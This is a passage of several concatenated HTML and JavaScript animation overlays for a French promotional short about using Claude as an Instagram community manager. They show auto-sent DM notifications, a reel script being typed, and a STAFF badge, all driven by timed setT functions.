      <div id="cam"><svg width="34" height="34" viewBox="0 0 24 24" fill="#fff"><path d="M9.4 3.5h5.2c.6 0 1.1.3 1.4.8l.9 1.5h2.6A2.5 2.5 0 0 1 22 8.3v9.2a2.5 2.5 0 0 1-2.5 2.5h-15A2.5 2.5 0 0 1 2 17.5V8.3a2.5 2.5 0 0 1 2.5-2.5h2.6l.9-1.5c.3-.5.8-.8 1.4-.8zM12 9a4 4 0 1 0 0 8 4 4 0 0 0 0-8z"/></svg></div>
      <div id="ph">Message…</div>
      <div id="cicons">
        <svg width="38" height="38" viewBox="0 0 24 24" fill="none" stroke="#F5F5F5" stroke-width="1.9" stroke-linecap="round"><rect x="8.5" y="2" width="7" height="12.5" rx="3.5"/><path d="M5 11.5a7 7 0 0 0 14 0M12 18.5V22"/></svg>
        <svg width="38" height="38" viewBox="0 0 24 24" fill="none" stroke="#F5F5F5" stroke-width="1.9" stroke-linejoin="round"><rect x="2.5" y="2.5" width="19" height="19" rx="5"/><circle cx="8.5" cy="8.5" r="1.8"/><path d="M21.5 15.5l-5.2-5.2L5 21.5"/></svg>
        <svg width="38" height="38" viewBox="0 0 24 24" fill="none" stroke="#F5F5F5" stroke-width="1.9" stroke-linecap="round" stroke-linejoin="round"><path d="M15.5 21.5H8A5.5 5.5 0 0 1 2.5 16V8A5.5 5.5 0 0 1 8 2.5h8A5.5 5.5 0 0 1 21.5 8v7.5z"/><path d="M15.5 21.5V18a2.5 2.5 0 0 1 2.5-2.5h3.5"/><path d="M8.5 13.5c.9 1.2 2.1 1.8 3.5 1.8"/><circle cx="9" cy="9.2" r=".6" fill="#F5F5F5"/><circle cx="15" cy="9.2" r=".6" fill="#F5F5F5"/></svg>
      </div>
    </div>
  </div>

  <div id="nclip"></div>

  <div id="counter"><svg width="46" height="46" viewBox="0 0 24 24" fill="none" stroke="#258EFF" stroke-width="2.3" stroke-linejoin="round"><line x1="22" x2="9.218" y1="3" y2="10.083"/><polygon points="11.698 20.334 22 3.001 2 3.001 9.218 10.084 11.698 20.334"/></svg>
    <span class="lab">DM envoyés</span><span id="num">1</span></div>
  <div id="auto"><div id="sheen"></div>
    <svg width="44" height="50" viewBox="0 0 22 26"><path fill="#fff" stroke="#fff" stroke-width="1.6" stroke-linejoin="round" d="M13 1.5 3 15h7.2l-1.7 9.5L19 10.6h-7.3z"/></svg>
    <span>Automatique</span></div>

  <div id="plane"><svg width="84" height="84" viewBox="0 0 24 24"><polygon fill="#3797F0" stroke="#3797F0" stroke-width="1.4" stroke-linejoin="round" points="11.698 20.334 22 3.001 2 3.001 9.218 10.084 11.698 20.334"/><line x1="22" x2="9.218" y1="3" y2="10.083" stroke="#fff" stroke-width="1.6"/></svg></div>
</div>
<script>
const $ = id => document.getElementById(id);
const clamp = (v, a = 0, b = 1) => Math.min(b, Math.max(a, v));
const seg = (t, a, b) => clamp((t - a) / (b - a));
// critically damped spring from rest: never overshoots
const S = (x, w = 14) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
const io = p => p < .5 ? 4 * p * p * p : 1 - Math.pow(-2 * p + 2, 3) / 2;
const out = p => 1 - Math.pow(1 - p, 3);
const lerp = (a, b, p) => a + (b - a) * p;

// ---- events (τ = seconds from the clip start = short 11.28); words: et .03, autre .23, envoie .49, lien .91, DM 1.19,
// chaque 1.67, commentaire 1.89, manière 2.48, automatique 2.74
const T_PANEL = 0, T_B1 = .49, T_CARD = .91, T_SENT = 1.19, T_FLY = 1.19, FLY = .30, T_SEEN = 1.52;
const T_COUNT = 1.60, T_TICK = [1.70, 2.42], T_AUTO = 2.48, T_SHEEN = 2.74, T_OUT = 2.87;

const PERSON = '<svg width="88" height="88" viewBox="0 0 88 88"><circle cx="44" cy="34" r="16" fill="#fff"/><path d="M13 82c3-17 16-26 31-26s28 9 31 26z" fill="#fff"/></svg>';
const CHECK = '<svg width="30" height="30" viewBox="0 0 24 24" fill="none" stroke="#fff" stroke-width="3" stroke-linecap="round" stroke-linejoin="round"><path d="M4.5 12.5l5 5 10-11"/></svg>';
const BANS = [
  { t: .03, chip: T_FLY + FLY - .02, who: 'léa.crea', what: 'a commenté : INSTA', av: PERSON, cl: '#CFCFD4', ct: 'DM envoyé' },
  { t: 1.67, chip: 1.82, who: 'tom.dev', what: 'a commenté : INSTA', av: PERSON, cl: '#C9CDD6', ct: 'DM envoyé' },
  { t: 1.89, chip: 2.04, who: 'sarah.ia', what: 'a commenté : INSTA', av: PERSON, cl: '#D6CFD0', ct: 'DM envoyé' },
  { t: 2.10, chip: 2.25, who: '+12', what: 'autres ont commenté : INSTA', av: '+12', cl: '#B9BCC4', ct: '12 DM envoyés' },
];
BANS.forEach((b, i) => {
  const el = document.createElement('div'); el.className = 'ban'; el.style.zIndex = 10 + i;
  el.innerHTML = `<div class="in"><div class="av" style="background:${b.cl}">${b.av}</div><div class="badge"><img src="../assets/logos/instagram.png"></div>
    <div class="l1">Instagram<span>maintenant</span></div><div class="l2"><b>${b.who}</b> ${b.what}</div></div>
    <div class="chip">${CHECK}<span>${b.ct}</span></div>`;
  $('nclip').appendChild(el); b.el = el; b.inner = el.querySelector('.in'); b.chipEl = el.querySelector('.chip');
});

// thread layout (panel-local y): receipt 488, card 312-476, bubble alone sits on the card slot, then rides up over it
const CARD_Y = 312, B1_Y_ALONE = 384, B1_Y_UP = 206, RC_Y = 486;
// plane path (page px): from the receipt to the first banner's chip
const P0 = [950, 800], P1 = [860, 268];
const planeAt = p => [lerp(P0[0], P1[0], p) + 46 * Math.sin(Math.PI * p), lerp(P0[1], P1[1], p)];

window.setT = function (t) {
  // exit whip for the whole component
  const u = seg(t, T_OUT, T_OUT + .30);
  $('root').style.transform = `translateX(${-1150 * u * u}px)`;

  // panel springs in from the right, its parts settle just after it
  const pp = S(t - T_PANEL, 17);
  $('panel').style.transform = `translateX(${(1 - pp) * 760}px)`;
  $('panel').style.opacity = clamp(pp * 2.2);
  [['head', .06], ['stamp', .14], ['comp', .10]].forEach(([id, d]) => {
    const q = S(t - d, 16); $(id).style.opacity = q; $(id).style.transform = `translateX(${(1 - q) * 60}px)`;
  });

  // outgoing bubble then link card; both pending (dimmed) until « DM », where they go out
  const sent = S(t - T_SENT, 26), pend = .55 + .45 * sent;
  const qb = S(t - T_B1, 16), qc = S(t - (T_CARD + .05), 16), qup = S(t - (T_CARD - .03), 22);
  const b1y = lerp(B1_Y_ALONE, B1_Y_UP, qup);
  $('b1').style.top = b1y + 'px';
  $('b1').style.transform = `translateY(${(1 - qb) * 56}px) scale(${.94 + .06 * qb})`;
  $('b1').style.opacity = clamp(qb * 1.8) * pend;
  $('card').style.top = CARD_Y + 'px';
  $('card').style.transform = `translateY(${(1 - qc) * 56}px) scale(${.94 + .06 * qc})`;
  $('card').style.opacity = clamp(qc * 1.8) * pend;
  // receipt: « Envoyé » on « DM », then « Vu »
  const qs = S(t - T_SENT, 20), qv = S(t - T_SEEN, 20);
  $('rsent').style.top = RC_Y + 'px'; $('rseen').style.top = RC_Y + 'px';
  $('rsent').style.opacity = qs * (1 - clamp(qv * 1.6)); $('rsent').style.transform = `translateY(${(1 - qs) * 14 - 10 * qv}px)`;
  $('rseen').style.opacity = qv; $('rseen').style.transform = `translateY(${(1 - qv) * 10}px)`;

  // paper plane flies from the thread to the commenter's banner
  const fp = seg(t, T_FLY, T_FLY + FLY);
  if (t < T_FLY || fp >= 1) $('plane').style.display = 'none';
  else {
    const p = io(fp), [x, y] = planeAt(p), [x2, y2] = planeAt(Math.min(1, p + .02));
    const ang = Math.atan2(y2 - y, x2 - x) * 180 / Math.PI + 45; // the glyph points up-right (-45°)
    $('plane').style.display = '';
    $('plane').style.transform = `translate(${x}px,${y}px) rotate(${ang}deg) scale(${1 - .3 * p})`;
    $('plane').style.opacity = clamp(fp * 6) * (1 - seg(fp, .78, 1));
  }

  // comment banners: each drops in on top, the older ones sink into an iOS stack behind it
  BANS.forEach((b, i) => {
    const q = S(t - b.t, 15);
    let d = 0; for (let j = i + 1; j < BANS.length; j++) d += S(t - BANS[j].t, 15);
    const gone = clamp(d - 1.6);
    b.el.style.display = q > .001 && gone < .999 ? '' : 'none';
    b.el.style.transform = `translateY(${-150 * (1 - q) + 18 * d}px) scale(${1 - .05 * d})`;
    b.el.style.opacity = clamp(q * 4) * (1 - gone);
    b.el.style.background = `rgb(${252 - 14 * clamp(d)},${252 - 14 * clamp(d)},${252 - 12 * clamp(d)})`;
    b.inner.style.opacity = 1 - clamp(d * 2.2);
    const qc2 = S(t - b.chip, 22);
    b.chipEl.style.opacity = clamp(qc2 * 1.6) * (1 - clamp(d * 2.2));
    b.chipEl.style.transform = `translateX(${(1 - qc2) * 30}px) scale(${.9 + .1 * qc2})`;
  });

  // counter card rises onto the panel, then ticks 1 -> 48
  const qn = S(t - T_COUNT, 16);
  $('counter').style.opacity = clamp(qn * 1.6);
  $('counter').style.transform = `translateY(${(1 - qn) * 40}px)`;
  $('num').textContent = String(Math.round(1 + 47 * out(seg(t, T_TICK[0], T_TICK[1]))));

  // Automatique pill settles on the panel, a sheen crosses it on « automatique »
  const qa = S(t - T_AUTO, 15);
  $('auto').style.opacity = clamp(qa * 1.6);
  $('auto').style.transform = `translateY(${-(1 - qa) * 40}px) scale(${.95 + .05 * qa})`;
  const sh = io(seg(t, T_SHEEN, T_SHEEN + .3));
  $('sheen').style.transform = `translateX(${-180 + 600 * sh}px)`;
  $('sheen').style.opacity = t > T_SHEEN && sh < 1 ? 1 : 0;
  return true;
};
window.setT(0);
</script></body></html>

<!doctype html>
<html><head><meta charset="utf-8">
<!-- Skill 1/3 (short 6.93 s to 9.68 s, 2.75 s): a reel script being written by Claude, the hook highlighted, its views
     counting up. Transparent 1080x1920 overlay at paper level; draws only inside x 60-1020, y 140-1090.
     Pure function of t: window.setT(t), t = 0 at the component start. -->
<style>
  html, body { margin: 0; background: transparent; }
  body { width: 1080px; height: 1920px; overflow: hidden; position: relative; -webkit-font-smoothing: antialiased;
    font-family: "Bricolage Grotesque", sans-serif; color: #14161B; }
  #card { position: absolute; left: 90px; top: 158px; width: 900px; height: 866px; box-sizing: border-box; padding: 52px 56px 0;
    background: #FFFFFF; border-radius: 34px; will-change: transform;
    box-shadow: 0 30px 50px -12px rgba(20,22,27,.22), 0 8px 20px rgba(20,22,27,.08), 0 0 0 1.5px rgba(20,22,27,.05); }
  .head { display: flex; align-items: center; gap: 22px; height: 72px; }
  .head img { width: 64px; height: 64px; border-radius: 16px; display: block; }
  .head .ttl { font-weight: 800; font-size: 50px; letter-spacing: -1px; flex: 1; }
  .tag { height: 56px; padding: 0 24px; border-radius: 28px; background: #258EFF; color: #fff; font-weight: 800; font-size: 34px;
    display: flex; align-items: center; letter-spacing: -.2px; }
  .meta { display: flex; align-items: center; gap: 14px; margin-top: 20px; height: 44px; font-family: "DM Sans", sans-serif;
    font-weight: 500; font-size: 34px; color: #7A7F8C; }
  .meta img { width: 40px; height: 40px; border-radius: 10px; display: block; }
  .meta b { color: #14161B; font-weight: 700; }
  .tools { display: flex; align-items: center; gap: 6px; height: 68px; margin: 26px -14px 36px; padding: 0 10px; border-radius: 18px;
    background: #F6F5F2; box-shadow: inset 0 0 0 1.5px #ECEAE5; }
  .tb { height: 52px; min-width: 52px; padding: 0 10px; box-sizing: border-box; border-radius: 12px; display: flex; align-items: center;
    justify-content: center; font-size: 34px; color: #4A4E59; font-weight: 800; }
  .tb.i { font-style: italic; font-weight: 600; font-family: "Instrument Serif", serif; font-size: 40px; }
  .tb.u { text-decoration: underline; text-decoration-thickness: 3px; text-underline-offset: 5px; font-weight: 600; }
  .sep { width: 2px; height: 34px; background: #E2E0DA; margin: 0 6px; }
  .tb svg { display: block; }
  #pen { position: relative; }
  .tools .sp { flex: 1; }
  .save { display: flex; align-items: center; gap: 10px; font-family: "DM Sans", sans-serif; font-weight: 500; font-size: 34px; color: #7A7F8C; padding-right: 12px; }
  .save i { width: 14px; height: 14px; border-radius: 7px; background: #258EFF; display: block; }
  .hook { font-weight: 800; font-size: 62px; line-height: 76px; letter-spacing: -1.4px; height: 152px; }
  .ln { position: relative; display: inline-block; white-space: pre; }
  .ln .mk { position: absolute; left: -10px; top: 10px; height: 60px; width: 0; background: rgba(37,142,255,.35);
    border-radius: 8px 14px 10px 16px; }
  .ln .tx { position: relative; }
  .caret { display: inline-block; width: 5px; border-radius: 3px; background: #258EFF; vertical-align: top; }
  .hook .caret { height: 60px; margin: 9px 0 0 4px; }
  .acc { position: absolute; left: 0; top: 0; height: 56px; padding: 0 24px 0 6px; border-radius: 28px; display: flex; align-items: center; gap: 12px;
    background: #14161B; color: #fff; font-weight: 800; font-size: 34px; letter-spacing: 1px; white-space: nowrap; opacity: 0; }
  .acc .ic { width: 44px; height: 44px; border-radius: 22px; background: #fff; display: flex; align-items: center; justify-content: center; }
  .acc .ic img { width: 32px; height: 32px; }
  .vrow { height: 66px; margin-top: 22px; position: relative; }
  #views { position: absolute; left: 0; top: 0; height: 66px; padding: 0 28px 0 10px; border-radius: 33px; background: #258EFF; color: #fff;
    display: flex; align-items: center; gap: 14px; font-weight: 800; font-size: 38px; letter-spacing: -.3px; opacity: 0;
    box-shadow: 0 14px 26px -8px rgba(37,142,255,.45); white-space: nowrap; }
  #views .eye { width: 50px; height: 50px; border-radius: 25px; background: #fff; display: flex; align-items: center; justify-content: center; }
  #views .eye img { width: 36px; height: 36px; }
  #views .up { font-size: 26px; }
  .body { margin-top: 30px; font-family: "DM Sans", sans-serif; font-weight: 500; font-size: 38px; line-height: 52px; color: #5E6370;
    height: 104px; }
  .body .caret { height: 42px; margin: 6px 0 0 3px; }
  .bars { margin-top: 30px; }
  .bar { height: 24px; border-radius: 12px; background: #EDEBE6; margin-bottom: 22px; transform-origin: left center; transform: scaleX(0); }
</style></head>
<body>
<div id="card">
  <div class="head">
    <img src="../assets/logos/instagram.png" alt="">
    <div class="ttl">Script reel</div>
    <div class="tag">skill 1/3</div>
  </div>
  <div class="meta"><img src="../assets/logos/claude.png" alt=""><span>Écrit par <b>Claude</b></span></div>
  <div class="tools">
    <div class="tb">B</div><div class="tb i">I</div><div class="tb u">U</div><div class="sep"></div><div class="tb">H1</div>
    <div class="tb"><svg width="40" height="40" viewBox="0 0 40 40" fill="none" stroke="#4A4E59" stroke-width="3.4" stroke-linecap="round"><circle cx="8" cy="11" r="1.6" fill="#4A4E59"/><circle cx="8" cy="20" r="1.6" fill="#4A4E59"/><circle cx="8" cy="29" r="1.6" fill="#4A4E59"/><path d="M15 11h19M15 20h19M15 29h13"/></svg></div>
    <div class="tb" id="pen"><svg width="42" height="42" viewBox="0 0 42 42" fill="none" stroke-linejoin="round" stroke-linecap="round"><rect x="4" y="33" width="34" height="6" rx="3" id="penInk" fill="#258EFF" stroke="none" opacity=".55"/><path id="penBody" d="M24 5l9 9-13 13-6 1-3-3 1-6z" stroke="#4A4E59" stroke-width="3.2" fill="#fff"/><path id="penTip" d="M12 22l7 7" stroke="#4A4E59" stroke-width="3.2"/></svg></div>
    <div class="sp"></div><div class="save" id="save"><i></i><span id="saveTx">Brouillon</span></div>
  </div>
  <div class="hook" id="hook"></div>
  <div class="vrow"><div id="views"><div class="eye"><img src="../assets/icons/glyph/eye.png" alt=""></div><span class="up">▲</span><span id="num">1 200</span><span>vues</span></div></div>
  <div class="body" id="body"></div>
  <div class="bars"><div class="bar" style="width:100%"></div><div class="bar" style="width:88%"></div><div class="bar" style="width:58%"></div></div>
</div>
<script>
const S = (x, w) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
const clamp = (x, a = 0, b = 1) => Math.min(b, Math.max(a, x));
const seg = (t, a, b) => clamp((t - a) / (b - a));
const ease = x => x * x * (3 - 2 * x);
const esc = s => s.replace(/&/g, '&amp;').replace(/</g, '&lt;');

const H1 = 'Claude vient de tuer', H2 = 'Instagram.';
const BODY = 'Tu peux le transformer en community manager qui poste à ta place.';
const card = document.getElementById('card'), hook = document.getElementById('hook'), body = document.getElementById('body');
const views = document.getElementById('views'), num = document.getElementById('num'), bars = [...document.querySelectorAll('.bar')];
const fmt = n => String(Math.round(n / 100) * 100).replace(/\B(?=(\d{3})+(?!\d))/g, ' ');

window.setT = function (t) {
  // card: springs in from the right (0-.3), whips out to the left (2.45-2.75)
  const u = seg(t, 2.45, 2.75);
  const x = 1150 * (1 - S(t, 19)) - 1150 * u * u;
  card.style.transform = `translateX(${x.toFixed(2)}px)`;

  // hook types itself on "écrit" (.47 -> 1.02)
  const total = H1.length + H2.length, nh = Math.floor(clamp((t - .47) / .55) * total + 1e-6);
  const typingHook = t >= .47 && nh < total, typingBody = t >= 1.04 && t < 1.62;
  const blinkOn = (Math.floor((t - .47) * 3.2) % 2) === 0;
  const caret = '<span class="caret"></span>';
  const a = H1.slice(0, nh), b = H2.slice(0, Math.max(0, nh - H1.length));
  const showHookCaret = t >= .2 && t < 1.04 && (t >= .47 || Math.floor((t - .2) * 3.6) % 2 === 0);
  const onL2 = nh > H1.length;
  // highlighter sweeps left to right on "accroches" (1.63 -> 2.00)
  const m1 = ease(seg(t, 1.63, 1.84)), m2 = ease(seg(t, 1.84, 1.98));
  hook.innerHTML =
    `<div class="ln" id="l1"><div class="mk" style="width:calc(${(m1 * 100).toFixed(2)}% + ${(20 * m1).toFixed(2)}px)"></div><span class="tx">${esc(a)}${showHookCaret && !onL2 ? caret : ''}</span></div><br>` +
    `<div class="ln" id="l2"><div class="mk" style="width:calc(${(m2 * 100).toFixed(2)}% + ${(20 * m2).toFixed(2)}px)"></div><span class="tx">${esc(b)}${showHookCaret && onL2 ? caret : ''}</span>` +
    `<div class="acc" id="acc"><div class="ic"><img src="../assets/icons/glyph/hook.png" alt=""></div>ACCROCHE</div></div>`;
  if (!b) document.getElementById('l2').querySelector('.tx').innerHTML += '&#8203;';
  // ACCROCHE label slides in next to the hook (1.90 -> 2.15)
  const acc = document.getElementById('acc'), l2 = document.getElementById('l2');
  const pa = S(t - 1.90, 16);
  acc.style.left = (l2.querySelector('.tx').offsetWidth + 34) + 'px';
  acc.style.top = '10px';
  acc.style.opacity = pa.toFixed(3);
  acc.style.transform = `translateX(${(-26 * (1 - pa)).toFixed(2)}px)`;

  // highlighter tool in the toolbar turns active as the marker sweeps (1.55 -> 1.70), the doc reads "Enregistré" once written
  const pp = S(t - 1.52, 16);
  document.getElementById('pen').style.background = `rgba(37,142,255,${(.16 * pp).toFixed(3)})`;
  document.getElementById('penBody').setAttribute('stroke', pp > .5 ? '#258EFF' : '#4A4E59');
  document.getElementById('penTip').setAttribute('stroke', pp > .5 ? '#258EFF' : '#4A4E59');
  document.getElementById('penInk').setAttribute('opacity', (.55 + .45 * pp).toFixed(3));
  document.getElementById('saveTx').textContent = t < .47 ? 'Brouillon' : t < 1.6 ? 'Rédaction' : 'Enregistré';

  // body line types on "reels" (1.04 -> 1.55), then grey placeholder lines grow (1.30 -> 1.75)
  const nb = Math.floor(clamp((t - 1.04) / .5) * BODY.length + 1e-6);
  const bodyCaret = typingBody && (nb < BODY.length || blinkOn);
  body.innerHTML = esc(BODY.slice(0, nb)) + (bodyCaret ? caret : '') + (nb ? '' : '&#8203;');
  bars.forEach((el, i) => {
    const p = S(t - (1.30 + i * .12), 14);
    el.style.transform = `scaleX(${p.toFixed(4)})`;
    el.style.opacity = clamp(p * 3).toFixed(3);
  });

  // views pill lands under the hook on "plus" (2.35), counts up to "vues" (2.61)
  const pv = S(t - 2.35, 22);
  views.style.opacity = clamp(pv * 2.2).toFixed(3);
  views.style.transform = `translateY(${(22 * (1 - pv)).toFixed(2)}px)`;
  const c = ease(seg(t, 2.36, 2.56));
  num.textContent = fmt(1200 + (48000 - 1200) * c);
};
window.setT(0);
</script>
</body></html>

<!doctype html>
<html><head><meta charset="utf-8">
<!-- Beat "Tu peux maintenant transformer Claude en community manager de ton compte Instagram" (short 1.41 s to 4.70 s).
     Claude becomes the STAFF of your Instagram account: a lanyard ID badge drops in, the photo slot fills with the Claude
     logo, the name writes in, a blue pill sweeps "Community manager", the Instagram logo stamps the corner, then the badge
     whips out left. Transparent 1080x1920 overlay, drawn only inside x 60-1020, y 140-1090. window.setT(t) is pure. -->
<style>
  html, body { margin: 0; background: transparent; }
  body { width: 1080px; height: 1920px; overflow: hidden; position: relative; -webkit-font-smoothing: antialiased;
    font-family: 'Bricolage Grotesque', sans-serif; font-weight: 800; color: #14161B; }
  #clip { position: absolute; left: 60px; top: 140px; width: 960px; height: 950px; overflow: hidden;
    -webkit-mask-image: linear-gradient(to bottom, transparent 0, #000 46px), linear-gradient(to right, transparent 0, #000 36px), linear-gradient(to top, transparent 0, #000 52px);
    -webkit-mask-composite: source-in, source-in; mask-composite: intersect, intersect; }
  #rig { position: absolute; left: -60px; top: -140px; width: 1080px; height: 1920px; transform-origin: 540px 140px; }
  #lan { position: absolute; left: 0; top: 0; filter: drop-shadow(0 10px 14px rgba(20,22,27,.20)); }
  #tabBack { position: absolute; left: 0; top: 0; }
  #cardWrap { position: absolute; left: 240px; top: 330px; width: 600px; height: 700px;
    filter: drop-shadow(0 34px 44px rgba(20,22,27,.24)) drop-shadow(0 8px 12px rgba(20,22,27,.14)); }
  #card { position: absolute; inset: 0; background: linear-gradient(180deg, #FFFFFF 0%, #FCFBF8 100%); overflow: hidden;
    -webkit-mask-size: 100% 100%; mask-size: 100% 100%; }
  #head { position: absolute; left: 0; top: 0; width: 600px; height: 124px; background: #14161B; }
  #head .lbl { position: absolute; left: 0; right: 0; top: 52px; text-align: center; color: #FFFFFF; font-size: 52px;
    line-height: 60px; letter-spacing: .26em; text-indent: .26em; }
  #stripe { position: absolute; left: 0; top: 124px; width: 600px; height: 10px; background: #258EFF; }
  #slot { position: absolute; left: 190px; top: 160px; width: 220px; height: 220px; border-radius: 40px; background: #EEF0F3;
    box-shadow: inset 0 3px 10px rgba(20,22,27,.10); }
  #slot .dash { position: absolute; inset: 10px; border-radius: 32px; border: 3px dashed rgba(20,22,27,.16); }
  #photo { position: absolute; left: 190px; top: 160px; width: 220px; height: 220px; border-radius: 40px; overflow: hidden;
    box-shadow: 0 14px 26px rgba(20,22,27,.20), 0 3px 6px rgba(20,22,27,.12); }
  #photo img { width: 100%; height: 100%; display: block; }
  .bar { position: absolute; left: 50%; border-radius: 12px; background: #EEF0F3; }
  #nameBar { top: 426px; width: 280px; height: 26px; margin-left: -140px; }
  #roleBar { top: 536px; width: 380px; height: 22px; margin-left: -190px; }
  #handleBar { top: 618px; width: 200px; height: 16px; margin-left: -100px; }
  #name { position: absolute; left: 0; right: 0; top: 386px; text-align: center; font-size: 100px; line-height: 110px;
    letter-spacing: -.02em; color: #14161B; }
  #pill { position: absolute; left: 50%; top: 508px; height: 78px; transform: translateX(-50%); white-space: nowrap; }
  #pill .bg { position: absolute; inset: 0; border-radius: 39px; background: #258EFF;
    box-shadow: 0 10px 20px rgba(37,142,255,.28), 0 2px 4px rgba(20,22,27,.10); }
  #pill .tx { position: relative; padding: 0 38px; font-size: 46px; line-height: 78px; color: #FFFFFF; letter-spacing: -.01em; }
  #handle { position: absolute; left: 0; right: 0; top: 604px; text-align: center; font-size: 40px; line-height: 48px;
    color: #3A3F4A; letter-spacing: -.005em; }
  #gloss { position: absolute; inset: 0; background: linear-gradient(160deg, rgba(255,255,255,.10) 0%, rgba(255,255,255,0) 40%); pointer-events: none; }
  #shine { position: absolute; top: -400px; left: 0; width: 170px; height: 1500px;
    background: linear-gradient(90deg, rgba(255,255,255,0) 0%, rgba(255,255,255,.38) 50%, rgba(255,255,255,0) 100%); }
  #edge { position: absolute; inset: 0; border-radius: 32px; box-shadow: inset 0 0 0 2px rgba(20,22,27,.06); pointer-events: none; }
  #tabFront { position: absolute; left: 0; top: 0; }
  #igWrap { position: absolute; left: 0; top: 0; width: 140px; height: 140px; }
  #ig { position: absolute; inset: 0; border-radius: 40px; background: #FFFFFF; padding: 9px; box-sizing: border-box; }
  #ig img { width: 100%; height: 100%; display: block; border-radius: 32px; }
</style></head>
<body>
<div id="clip"><div id="rig">
  <svg id="lan" width="1080" height="1920" viewBox="0 0 1080 1920"></svg>
  <svg id="tabBack" width="1080" height="1920" viewBox="0 0 1080 1920">
    <rect x="514" y="340" width="52" height="54" rx="10" fill="rgba(120,128,140,.55)"/>
  </svg>
  <div id="cardWrap"><div id="card">
    <div id="head"><div class="lbl">STAFF</div></div>
    <div id="stripe"></div>
    <div id="slot"><div class="dash"></div></div>
    <div id="photo"><img src="../assets/logos/claude.png" alt=""></div>
    <div class="bar" id="nameBar"></div>
    <div class="bar" id="roleBar"></div>
    <div class="bar" id="handleBar"></div>
    <div id="name">Claude</div>
    <div id="pill"><div class="bg"></div><div class="tx">Community manager</div></div>
    <div id="handle">@ton.compte</div>
    <div id="gloss"></div>
    <div id="shine"></div>
    <div id="edge"></div>
  </div></div>
  <svg id="tabFront" width="1080" height="1920" viewBox="0 0 1080 1920">
    <defs>
      <linearGradient id="metal2" x1="0" y1="0" x2="1" y2="1">
        <stop offset="0" stop-color="#F4F5F7"/><stop offset=".45" stop-color="#A9B0BA"/><stop offset="1" stop-color="#E3E6EA"/>
      </linearGradient>
    </defs>
    <rect x="512" y="318" width="56" height="44" rx="11" fill="rgba(255,255,255,.62)" stroke="rgba(20,22,27,.20)" stroke-width="2"/>
    <rect x="518" y="321" width="44" height="6" rx="3" fill="rgba(255,255,255,.75)"/>
    <circle cx="540" cy="338" r="9" fill="url(#metal2)" stroke="rgba(20,22,27,.28)" stroke-width="1.5"/>
  </svg>
  <div id="igWrap"><div id="ig"><img src="../assets/logos/instagram.png" alt=""></div></div>
</div></div>

<script>
  const $ = id => document.getElementById(id);
  const clamp = (x, a = 0, b = 1) => Math.min(b, Math.max(a, x));
  const S = (x, w) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
  const smooth = x => { x = clamp(x); return x * x * (3 - 2 * x); };

  // card mask: rounded rect with the punched slot (evenodd), so the paper shows through the hole
  (() => {
    const W = 600, H = 700, r = 32, sx = 245, sy = 18, sw = 110, sh = 22, sr = 11;
    const rr = (x, y, w, h, r) => `M${x + r},${y}H${x + w - r}A${r},${r} 0 0 1 ${x + w},${y + r}V${y + h - r}A${r},${r} 0 0 1 ${x + w - r},${y + h}H${x + r}A${r},${r} 0 0 1 ${x},${y + h - r}V${y + r}A${r},${r} 0 0 1 ${x + r},${y}Z`;
    const svg = `<svg xmlns='http://www.w3.org/2000/svg' width='${W}' height='${H}' viewBox='0 0 ${W} ${H}'><path fill-rule='evenodd' fill='#000' d='${rr(0, 0, W, H, r)} ${rr(sx, sy, sw, sh, sr)}'/></svg>`;
    const url = `url("data:image/svg+xml,${encodeURIComponent(svg)}")`;
    $('card').style.webkitMaskImage = url; $('card').style.maskImage = url;
  })();

  // lanyard: two woven straps meeting in a metal crimp, a ring, a swivel hook
  (() => {
    const strap = (x1, y1, x2, y2) => {
      const dx = x2 - x1, dy = y2 - y1, L = Math.hypot(dx, dy), nx = -dy / L, ny = dx / L;
      const off = k => `x1="${x1 + nx * k}" y1="${y1 + ny * k}" x2="${x2 + nx * k}" y2="${y2 + ny * k}"`;
      return `<line ${off(0)} stroke="#1B6FCC" stroke-width="46"/>
        <line ${off(0)} stroke="#258EFF" stroke-width="40"/>
        <line ${off(-4)} stroke="rgba(255,255,255,.10)" stroke-width="12"/>
        <line ${off(14)} stroke="rgba(255,255,255,.45)" stroke-width="2" stroke-dasharray="9 7"/>
        <line ${off(-14)} stroke="rgba(255,255,255,.45)" stroke-width="2" stroke-dasharray="9 7"/>`;
    };
    $('lan').innerHTML = `<defs>
        <linearGradient id="metal" x1="0" y1="0" x2="1" y2="0">
          <stop offset="0" stop-color="#9AA1AB"/><stop offset=".35" stop-color="#F2F4F6"/><stop offset=".6" stop-color="#C3C8CF"/><stop offset="1" stop-color="#8A919B"/>
        </linearGradient>
      </defs>
      ${strap(700, 40, 556, 252)}
      ${strap(380, 40, 524, 252)}
      <rect x="508" y="236" width="64" height="42" rx="10" fill="url(#metal)" stroke="rgba(20,22,27,.25)" stroke-width="1.5"/>
      <rect x="514" y="242" width="52" height="5" rx="2.5" fill="rgba(255,255,255,.7)"/>
      <circle cx="540" cy="292" r="13" fill="none" stroke="url(#metal)" stroke-width="7"/>
      <circle cx="540" cy="292" r="13" fill="none" stroke="rgba(20,22,27,.22)" stroke-width="1.2"/>
      <rect x="532" y="302" width="16" height="22" rx="5" fill="url(#metal)" stroke="rgba(20,22,27,.25)" stroke-width="1.2"/>`;
  })();

  window.setT = t => {
    // drop + swing in (critically damped, never overshoots), then a faint idle sway
    const drop = S(t, 14);
    const swingIn = -5 * (1 - S(t, 8));
    const sway = 0.45 * Math.sin(2 * Math.PI * (t - 0.35) / 2.4) * S(t - 0.35, 5);
    // whip out left over the last .3 s
    const u = clamp((t - 3.0) / 0.3);
    const X = -1150 * u * u, Y = -1000 * (1 - drop), R = swingIn + sway - 4 * u * u;
    $('rig').style.transform = `translate(${X}px, ${Y}px) rotate(${R}deg)`;

    // shine across the laminate after landing, and again to fill the gap before Instagram
    const sh1 = smooth((t - 0.42) / 0.5), sh2 = smooth((t - 2.02) / 0.5);
    const sh = (t < 1.4 ? sh1 : sh2);
    const shOn = (t > 0.42 && t < 0.92) || (t > 2.02 && t < 2.52);
    $('shine').style.opacity = shOn ? 1 : 0;
    $('shine').style.transform = `translateX(${-260 + 1000 * sh}px) rotate(22deg)`;

    // Claude: logo scales into the photo slot, the name writes in
    const c = S(t - 0.86, 13);
    $('photo').style.opacity = clamp(c * 1.6);
    $('photo').style.transform = `scale(${0.88 + 0.12 * c})`;
    $('slot').style.opacity = 1 - clamp(c * 1.6);
    const nw = smooth((t - 0.86) / 0.36);
